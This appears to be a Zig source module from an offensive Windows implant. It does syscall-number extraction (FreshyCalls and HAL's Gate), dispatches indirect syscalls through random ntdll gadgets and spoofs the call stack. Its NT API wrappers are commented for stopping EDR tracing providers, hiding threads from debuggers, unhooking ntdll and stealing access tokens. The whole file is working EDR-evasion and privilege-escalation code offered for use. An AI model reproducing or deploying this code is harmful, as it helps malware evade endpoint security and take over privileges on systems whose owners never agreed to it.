// Syscall dispatch, SSN extraction, indirect syscalls.
const std = @import("std");
const win = @import("win32.zig");
const resolve = @import("resolve.zig");

var g_syscall_addrs: [64]usize = [_]usize{0} ** 64;
var g_syscall_count: usize = 0;
var g_ntdll_base: ?*anyopaque = null;
var g_init_done: bool = false;
var g_rand_state: u64 = 0;

// FreshyCalls table, ntdll Nt* exports sorted by RVA. SSN = sort position.
const FRESHY_MAX: usize = 1024;
const FreshyEntry = struct { hash: u32, rva: u32 };
var g_freshy_entries: [FRESHY_MAX]FreshyEntry = undefined;
var g_freshy_count: usize = 0;
var g_freshy_ready: bool = false;

var g_fake_return_addr: usize = 0;

extern fn hells_gate(ssn: u32, syscall_addr: usize, fake_return: usize) void;
extern fn hell_descent(a1: usize, a2: usize, a3: usize, a4: usize, a5: usize, a6: usize, a7: usize, a8: usize, a9: usize, a10: usize, a11: usize) usize;

pub fn xorshift64() u64 {
    var state = g_rand_state;
    state ^= state << 13;
    state ^= state >> 7;
    state ^= state << 17;
    g_rand_state = state;
    return state;
}

var g_ntdll_size: usize = 0;
pub var g_exc_begin: usize = 0;
pub var g_exc_count: usize = 0;

// FreshyCalls table builder. Walks ntdll export directory, collects Nt* exports
// with real code addresses. Sorts by RVA ascending. SSN = sort position.
// Immune to inline hooking, EDRs cannot change linker RVA order.
fn build_freshy_table() void {
    const base = g_ntdll_base orelse return;
    const base_bytes = @as([*]u8, @ptrCast(base));
    const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes)));
    if (dos.e_magic != 0x5A4D) return;
    const NT_SIGNATURE: u32 = 0x00004550;
    const nt = @as(*align(1) extern struct {
        Signature: u32,
        FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 },
        OptionalHeader: extern struct { Magic: u16, pad1: [110]u8, DataDirectory: [16]extern struct { VirtualAddress: u32, Size: u32 } },
    }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
    if (nt.Signature != NT_SIGNATURE) return;

    const export_dir = nt.OptionalHeader.DataDirectory[0];
    if (export_dir.VirtualAddress == 0 or export_dir.Size == 0) return;

    const exp = @as(*align(1) extern struct {
        Characteristics: u32,
        TimeDateStamp: u32,
        MajorVersion: u16,
        MinorVersion: u16,
        Name: u32,
        Base: u32,
        NumberOfFunctions: u32,
        NumberOfNames: u32,
        AddressOfFunctions: u32,
        AddressOfNames: u32,
        AddressOfNameOrdinals: u32,
    }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(export_dir.VirtualAddress)))));

    if (exp.NumberOfNames == 0) return;
    const names = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNames)))));
    const funcs = @as([*]u32, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfFunctions)))));
    const ords = @as([*]u16, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(exp.AddressOfNameOrdinals)))));

    g_freshy_count = 0;
    const export_dir_end = export_dir.VirtualAddress + export_dir.Size;
    var i: u32 = 0;
    while (i < exp.NumberOfNames and g_freshy_count < FRESHY_MAX) : (i += 1) {
        const name_ptr = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(names[i])))));
        const name = std.mem.sliceTo(name_ptr, 0);
        // Only Nt* exports, Zw* shares identical SSNs and would produce duplicates
        if (name.len < 2 or name[0] != 'N' or name[1] != 't') continue;

        const ordinal = ords[i];
        if (ordinal >= exp.NumberOfFunctions) continue;
        const rva = funcs[ordinal];
        // Skip forwarded exports, RVAs point inside the export directory
        if (rva >= export_dir.VirtualAddress and rva < export_dir_end) continue;

        g_freshy_entries[g_freshy_count] = FreshyEntry{
            .hash = resolve.hash_ror13(name),
            .rva = rva,
        };
        g_freshy_count += 1;
    }

    // Sort by RVA ascending, SSN = position in sorted order
    if (g_freshy_count > 1) {
        var bubble_i: usize = 0;
        while (bubble_i < g_freshy_count - 1) : (bubble_i += 1) {
            var swapped = false;
            var bubble_j: usize = 0;
            while (bubble_j < g_freshy_count - 1 - bubble_i) : (bubble_j += 1) {
                if (g_freshy_entries[bubble_j].rva > g_freshy_entries[bubble_j + 1].rva) {
                    const tmp = g_freshy_entries[bubble_j];
                    g_freshy_entries[bubble_j] = g_freshy_entries[bubble_j + 1];
                    g_freshy_entries[bubble_j + 1] = tmp;
                    swapped = true;
                }
            }
            if (!swapped) break;
        }
    }
    g_freshy_ready = true;
}

// FreshyCalls lookup, linear scan by hash in sorted table. Returns SSN.
fn extract_ssn_freshy(func_hash: u32) ?u16 {
    if (!g_freshy_ready) return null;
    for (0..g_freshy_count) |i| {
        if (g_freshy_entries[i].hash == func_hash) {
            return @as(u16, @intCast(i));
        }
    }
    return null;
}

pub const RUNTIME_FUNCTION = extern struct {
    BeginAddress: u32,
    EndAddress: u32,
    UnwindInfoAddress: u32,
};

// Falls back to HAL's Gate, binary search exception directory with 0xB8 scan.
pub fn extract_ssn(func_hash: u32) ?u16 {
    if (!init_syscall()) return null;

    if (extract_ssn_freshy(func_hash)) |ssn| return ssn;

    const base = g_ntdll_base orelse return null;
    const func_addr = resolve.get_func_by_hash(base, func_hash) orelse return null;
    const func_addr_base = @intFromPtr(func_addr);
    const base_addr = @intFromPtr(base);
    const in_ntdll = func_addr_base >= base_addr and func_addr_base < base_addr + g_ntdll_size;
    if (!in_ntdll) return null;
    const func_rva = @as(u32, @intCast(func_addr_base - base_addr));
    if (g_exc_count == 0) return null;
    const funcs = @as([*]align(1) const RUNTIME_FUNCTION, @ptrFromInt(g_exc_begin));
    var lo: usize = 0;
    var hi: usize = g_exc_count;
    while (lo < hi) {
        const mid = lo + (hi - lo) / 2;
        const entry = funcs[mid];
        if (func_rva < entry.BeginAddress) {
            hi = mid;
        } else if (func_rva >= entry.EndAddress) {
            lo = mid + 1;
        } else {
            const start_rva = entry.BeginAddress;
            const end_rva = entry.EndAddress;
            const scan_bytes = @as([*]const u8, @ptrCast(@as([*]u8, @ptrCast(base)) + start_rva));
            const scan_len = @min(end_rva - start_rva, 96);
            var j: usize = 4;
            while (j < scan_len) : (j += 1) {
                if (scan_bytes[j] == 0xB8) {
                    const ssn = std.mem.readInt(u32, scan_bytes[j + 1 ..][0..4], .little);
                    if ((ssn & 0xFFFF0000) == 0 and ssn > 0 and ssn < 0x1000) {
                        return @as(u16, @intCast(ssn));
                    }
                }
            }
            return null;
        }
    }
    return null;
}

// Seeds PRNG, builds FreshyCalls table, caches exception directory.
// Runs once, subsequent calls no-op.
pub fn init_syscall() bool {
    if (g_init_done and g_ntdll_base != null) return true;
    const ntdll_hash = resolve.hash_ror13("ntdll.dll");
    g_ntdll_base = resolve.get_module_by_hash(ntdll_hash);
    if (g_ntdll_base == null) return false;

    // Seed PRNG from stack address ^ tick count
    var stack_var: u64 = 0;
    g_rand_state = @as(u64, @truncate(@intFromPtr(&stack_var)));
    if (resolve.resolve_api(resolve.hash_ror13("kernel32.dll"), resolve.hash_ror13("GetTickCount64"))) |p| {
        const GetTickCount64 = @as(*const fn () callconv(win.WINAPI) u64, @ptrCast(p));
        g_rand_state ^= GetTickCount64();
    }

    // Scan .text for syscall;ret (0F 05 C3) gadgets, scoped to .text section
    const base_bytes = @as([*]const u8, @ptrCast(g_ntdll_base.?));
    const dos = @as(*align(1) extern struct { e_magic: u16, pad: [58]u8, e_lfanew: u32 }, @ptrCast(@constCast(base_bytes)));
    if (dos.e_magic != 0x5A4D) return false;
    const NT_SIGNATURE: u32 = 0x00004550;
    const nt = @as(*align(1) extern struct { Signature: u32, FileHeader: extern struct { Machine: u16, NumberOfSections: u16, pad: [16]u8 }, OptionalHeader: extern struct { pad0: [56]u8, SizeOfImage: u32, pad1: [180]u8 } }, @ptrCast(@constCast(base_bytes + @as(usize, @intCast(dos.e_lfanew)))));
    if (nt.Signature != NT_SIGNATURE) return false;
    g_ntdll_size = nt.OptionalHeader.SizeOfImage;

    g_syscall_count = 0;

    // Walk section headers to find .text and .pdata bounds
    {
        const section_start = @as(usize, @intCast(@intFromPtr(nt) + 24 + 240));
        const sections = @as([*]align(1) extern struct { Name: [8]u8, VirtualSize: u32, VirtualAddress: u32, SizeOfRawData: u32, PointerToRawData: u32, PointerToRelocations: u32, PointerToLinenumbers: u32, NumberOfRelocations: u16, NumberOfLinenumbers: u16, Characteristics: u32 }, @ptrFromInt(section_start));
        var text_va: usize = 0;
        var text_size: usize = 0;
        for (0..nt.FileHeader.NumberOfSections) |si| {
            const sec = &sections[si];
            if (std.mem.eql(u8, sec.Name[0..5], ".text") and sec.Name[5] == 0) {
                text_va = sec.VirtualAddress;
                text_size = sec.VirtualSize;
            }
            if (sec.Name[0] == '.' and sec.Name[1] == 'p' and sec.Name[2] == 'd' and sec.Name[3] == 'a' and sec.Name[4] == 't' and sec.Name[5] == 'a') {
                g_exc_begin = @intFromPtr(@as([*]u8, @ptrCast(g_ntdll_base.?)) + sec.VirtualAddress);
                g_exc_count = sec.VirtualSize / @sizeOf(RUNTIME_FUNCTION);
            }
        }
        if (text_va == 0 or text_size == 0) return false;

        // Scan .text for syscall;ret (0F 05 C3) gadgets
        var j: usize = text_va;
        const scan_end: usize = text_va + text_size;
        while (j < scan_end - 3 and g_syscall_count < g_syscall_addrs.len) : (j += 1) {
            if (base_bytes[j] == 0x0F and base_bytes[j + 1] == 0x05 and base_bytes[j + 2] == 0xC3) {
                g_syscall_addrs[g_syscall_count] = @intFromPtr(&base_bytes[j]);
                g_syscall_count += 1;
            }
            // Find standalone ret (0xC3) not part of syscall;ret for callstack spoof
            if (g_fake_return_addr == 0 and base_bytes[j] == 0xC3) {
                if (j < 2 or base_bytes[j - 2] != 0x0F or base_bytes[j - 1] != 0x05) {
                    g_fake_return_addr = @intFromPtr(&base_bytes[j]);
                }
            }
        }
    }

    if (g_syscall_count == 0) return false;

    // Build FreshyCalls table
    build_freshy_table();

    g_init_done = true;
    return true;
}

// Syscall dispatch. Extracts SSN, picks random gadget from pool, calls asm stub.
pub fn syscall_dispatch(ssn_hash: u32, args: [*]const usize, arg_count: usize) usize {
    const ssn = extract_ssn(ssn_hash) orelse return @as(usize, 0xC0000001);
    const idx = @as(usize, @truncate(xorshift64())) % g_syscall_count;
    const gadget = g_syscall_addrs[idx];
    // Callstack spoof: push standalone ret from ntdll so kernel sees ntdll frames.
    // Gated to <5 args, 5+ arg syscalls have stack args RSP+0x28+idx*8 shifted by push.
    const fake: usize = if (arg_count < 5) g_fake_return_addr else 0;
    hells_gate(@as(u32, ssn), gadget, fake);
    const a = [11]usize{
        if (arg_count > 0) args[0] else 0,
        if (arg_count > 1) args[1] else 0,
        if (arg_count > 2) args[2] else 0,
        if (arg_count > 3) args[3] else 0,
        if (arg_count > 4) args[4] else 0,
        if (arg_count > 5) args[5] else 0,
        if (arg_count > 6) args[6] else 0,
        if (arg_count > 7) args[7] else 0,
        if (arg_count > 8) args[8] else 0,
        if (arg_count > 9) args[9] else 0,
        if (arg_count > 10) args[10] else 0,
    };
    return hell_descent(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10]);
}

fn ntstatus(r: usize) win.NTSTATUS {
    return @as(win.NTSTATUS, @bitCast(@as(u32, @truncate(r))));
}

// --------- NT API wrappers ---------
// Each packs its NT params into a [N]usize array and calls syscall_dispatch with a ror13 hash.

// Standard sleep syscall.
pub fn nt_delay_execution(alertable: win.BOOLEAN, interval: *const win.LARGE_INTEGER) win.NTSTATUS {
    const args = [_]usize{ @intFromBool(alertable != 0), @intFromPtr(interval) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDelayExecution"), &args, 2));
}

// Sets thread properties (hide from debugger, etc).
pub fn nt_set_information_thread(thread_handle: win.HANDLE, info_class: u32, info: ?*const anyopaque, info_len: u32) win.NTSTATUS {
    const args = [_]usize{ @intFromPtr(thread_handle), @as(usize, info_class), if (info) |i| @intFromPtr(i) else @as(usize, 0), @as(usize, info_len) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtSetInformationThread"), &args, 4));
}

// Closes a handle.
pub fn nt_close(handle: win.HANDLE) win.NTSTATUS {
    const args = [_]usize{@intFromPtr(handle)};
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtClose"), &args, 1));
}

// Pseudo-handles: no need to open, just use these constants
pub fn nt_current_process() win.HANDLE {
    return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFF));
}
pub fn nt_current_thread() win.HANDLE {
    return @as(win.HANDLE, @ptrFromInt(0xFFFFFFFFFFFFFFFE));
}

// Opens a handle to another process by PID.
pub fn nt_open_process(process_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *const win.OBJECT_ATTRIBUTES, client_id: *const win.CLIENT_ID) win.NTSTATUS {
    const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(object_attributes), @intFromPtr(client_id) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcess"), &args, 4));
}

// Changes page protection.
pub fn nt_protect_virtual_memory(process_handle: win.HANDLE, base_address: *?*anyopaque, region_size: *win.SIZE_T, new_protect: win.ULONG, old_protect: *win.ULONG) win.NTSTATUS {
    const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address), @intFromPtr(region_size), @as(usize, new_protect), @intFromPtr(old_protect) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtProtectVirtualMemory"), &args, 5));
}

// Controls ETW tracing sessions. Used to stop EDR provider GUIDs.
pub fn nt_trace_control(code: win.ULONG, input: ?*anyopaque, input_len: win.ULONG, output: ?*anyopaque, output_len: win.ULONG, ret_len: *win.ULONG) win.NTSTATUS {
    const args = [_]usize{ @as(usize, code), if (input) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, input_len), if (output) |p| @intFromPtr(p) else @as(usize, 0), @as(usize, output_len), @intFromPtr(ret_len) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtTraceControl"), &args, 6));
}

// Opens an existing section object by name. Used by ntdll unhooking to map \KnownDlls\ntdll.dll.
// Ref: https://ntdoc.m417z.com/ntopensection
pub fn nt_open_section(section_handle: *win.HANDLE, desired_access: win.DWORD, object_attributes: *win.OBJECT_ATTRIBUTES) win.NTSTATUS {
    const args = [_]usize{ @intFromPtr(section_handle), @as(usize, desired_access), @intFromPtr(object_attributes) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenSection"), &args, 3));
}

// Maps a view of a section into the virtual address space of a process.
// Ref: https://ntdoc.m417z.com/ntmapviewofsection
pub fn nt_map_view_of_section(section_handle: win.HANDLE, process_handle: win.HANDLE, base_address: *?*anyopaque, zero_bits: win.ULONG_PTR, commit_size: win.SIZE_T, section_offset: ?*win.LARGE_INTEGER, view_size: *win.SIZE_T, inherit_disposition: u32, allocation_type: win.ULONG, protect: win.ULONG) win.NTSTATUS {
    const args = [_]usize{ @intFromPtr(section_handle), @intFromPtr(process_handle), @intFromPtr(base_address), @as(usize, @intCast(zero_bits)), @as(usize, commit_size), if (section_offset) |off| @intFromPtr(off) else @as(usize, 0), @intFromPtr(view_size), @as(usize, inherit_disposition), @as(usize, allocation_type), @as(usize, protect) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtMapViewOfSection"), &args, 10));
}

// Unmaps a view of a section. Ref: https://ntdoc.m417z.com/ntunmapviewofsection
pub fn nt_unmap_view_of_section(process_handle: win.HANDLE, base_address: ?*anyopaque) win.NTSTATUS {
    const args = [_]usize{ @intFromPtr(process_handle), @intFromPtr(base_address) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtUnmapViewOfSection"), &args, 2));
}

// Opens the access token associated with a process. Used by token theft.
// Ref: https://ntdoc.m417z.com/ntopenprocesstoken
pub fn nt_open_process_token(process_handle: win.HANDLE, desired_access: win.DWORD, token_handle: *win.HANDLE) win.NTSTATUS {
    const args = [_]usize{ @intFromPtr(process_handle), @as(usize, desired_access), @intFromPtr(token_handle) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtOpenProcessToken"), &args, 3));
}

// Duplicates a token handle. Used to create an impersonation token from a primary token.
// Ref: https://ntdoc.m417z.com/ntduplicatetoken
pub fn nt_duplicate_token(existing_token: win.HANDLE, desired_access: win.DWORD, object_attributes: ?*win.OBJECT_ATTRIBUTES, effective_only: win.BOOLEAN, token_type: win.DWORD, new_token: *win.HANDLE) win.NTSTATUS {
    const args = [_]usize{ @intFromPtr(existing_token), @as(usize, desired_access), if (object_attributes) |oa| @intFromPtr(oa) else @as(usize, 0), @intFromBool(effective_only != 0), @as(usize, token_type), @intFromPtr(new_token) };
    return ntstatus(syscall_dispatch(resolve.hash_ror13("NtDuplicateToken"), &args, 6));
}
